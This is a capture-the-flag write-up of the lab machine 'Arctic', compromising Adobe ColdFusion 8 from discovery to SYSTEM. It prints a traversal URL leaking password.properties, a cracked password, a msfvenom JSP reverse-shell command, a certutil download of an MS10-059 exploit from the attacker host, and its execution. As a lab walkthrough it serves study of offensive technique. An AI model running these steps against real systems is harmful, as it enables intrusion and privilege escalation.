Arctic

ColdFusion discovery

A broader Nmap scan exposed port 8500 and the ColdFusion administration tree. The documentation identified Adobe ColdFusion 8.

nmap -sS -A -sV -n -Pn 10.10.10.11

Password disclosure and command execution

A traversal request disclosed password.properties. The SHA-1 value cracked to happyday, allowing administrative access. A CFM command-execution page was then uploaded and used to enumerate users and retrieve the user flag.

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CColdFusion8%5Clib%5Cpassword.properties%00en

Shell and privilege escalation

A JSP reverse shell established access as tolis. systeminfo and Windows Exploit Suggester identified MS10-059 as the escalation path.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TUN0-IP> LPORT=443 -f raw > shell.jsp
certutil -urlcache -f "http://<TUN0-IP>/MS10-059.exe" MS10-059.exe
MS10-059.exe <TUN0-IP> <PORT>

The exploit returned an NT AUTHORITY\SYSTEM shell and access to the Administrator flag.